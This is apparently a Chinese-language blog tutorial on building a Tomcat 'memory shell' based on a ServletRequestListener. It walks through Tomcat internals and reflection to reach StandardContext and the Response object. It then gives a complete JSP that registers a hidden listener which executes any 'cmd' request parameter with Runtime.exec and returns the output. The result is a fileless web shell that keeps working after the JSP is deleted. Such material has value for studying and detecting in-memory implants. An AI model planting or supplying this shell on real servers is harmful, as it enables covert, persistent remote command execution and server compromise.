环境搭建
配置好tomcat后,调试时笔者用的maven,然后下载对应源码就好了
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.96</version>
</dependency>
0x01 Listener前置知识
Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。
用途
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
Listener 三个域对象
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()
方法。
0x02 Listener流程分析
Servlet 规范中一共定义了 8 个 Listener 接口
http://c.biancheng.net/servlet2/listener.html
但因为内存马本身的特殊性, 一般选用 ServletRequestListener 接口
package com.example.learnservlet;
import javax.servlet.*;
import javax.servlet.annotation.*;
@WebListener
public class TestListener implements ServletRequestListener{
public TestListener() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("test listener");
}
}
requestInitialized
处断点,通过调用栈往会看,可以看到这里调用转化为ServletRequestListener的requestInitialized
往前看,通过getApplicationEventListeners获取所有listener
这里可以看到applicationEventListenersList
存放着listener
StandardContext#addApplicationEventListener
可以添加listener
其实这里思路就出来,通过jsp执行java代码找到StandardContext
类调用addApplicationEventListener
注入我们的恶意listener
。
两个困难
- 怎么获得对应的
StandardContext
这里我不太懂为什么可以这样得到
ServletContext servletContext = request.getServletContext();
or
ServletContext servletContext = request.getSession().getServletContext();
requestInitialized()
方法得到的参数只有ServletRequestEvent
,没有类似Response返回命令执行结果的值
当然这里没回显的话也可以不考虑,但是这里是能做到回显的(有师傅可能会说直接用jsp的Response不就行了么,想上面直接用jsp的request)
理解: 内存马,这里是jsp执行后肯定要删掉jsp,留下来的只有这个
Listener
,后面调用也只会调用requestInitialized()
方法里代码,所以这里回显不能依赖jsp,只能靠传入的参数ServletRequestEvent
调用,前面的request是用来找到ServletContext
的写入Listener
只需要调用一次,所以可以直接用jsp的request
Response和Request获取
下面我们来看怎么构造回显
从下图我们可以得到ServletRequestEvent.request
实例是RequestFacade
,而RequestFacade.request
是Request
,Request
含有Response
类的属性
ServletRequestEvent.request -> RequestFacade.request -> Request.Response
这里我们通过反射可以得到Response
ServletRequest servletRequest = sre.getServletRequest();
Field request1 = servletRequest.getClass().getDeclaredField("request");
request1.setAccessible(true);
Request o = (Request)request1.get(servletRequest);
Field request2 = o.getClass().getDeclaredField("response");
Response response = (Response) request2.get(o);
- 下面就是获取
StandardContext
ServletContext servletContext = request.getServletContext();
or
ServletContext servletContext = request.getSession().getServletContext();
上面获取的实例是ApplicationContextFacade
环境初始化的时候会对StandardContext
进行封装,所以我们可以通过ApplicationContextFacade
反射得到StandardContext
实例
StandardContext.java#postWorkDirectory()
StandardContext.java#getServletContext()
StandardContext.java#context = new ApplicationContext(this);
ApplicationContext#facade = new ApplicationContextFacade(this);
ApplicationContextFacade#ApplicationContextFacade.context = (ApplicationContext)context
ApplicationContext(StandardContext context){this.context = (StandardContext)context;}
0x03构造内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.security.auth.message.callback.SecretKeyCallback" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
//反射得到StandardContext
ApplicationContextFacade servletContext = (ApplicationContextFacade) request.getServletContext();
Field con = servletContext.getClass().getDeclaredField("context");
con.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) con.get(servletContext);
Field context = applicationContext.getClass().getDeclaredField("context");
context.setAccessible(true);
StandardContext Standardcontext1 = (StandardContext) context.get(applicationContext);
ServletRequestListener servletRequestListener = new ServletRequestListener() {
void requestDestroyed() {
}
public void requestInitialized(ServletRequestEvent sre) {
try {
//反射得到Response
ServletRequest servletRequest = sre.getServletRequest();
Field request1 = servletRequest.getClass().getDeclaredField("request");
request1.setAccessible(true);
Request o = (Request)request1.get(servletRequest);
Field request2 = o.getClass().getDeclaredField("response");
request2.setAccessible(true);
Response response = (Response) request2.get(o);
String cmd = o.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
// 设置响应头,确保客户端能正确接收文本数据
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
// 获取输出流,用于向客户端发送数据
PrintWriter writer = response.getWriter();
String line;
while ((line = reader.readLine())!= null) {
writer.write(line + "\n");
}
// 关闭相关资源
reader.close();
inputStream.close();
writer.close();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
};
//插入Listener
Standardcontext1.addApplicationEventListener(servletRequestListener);
out.println("oooooooooooooooh yeah");
%>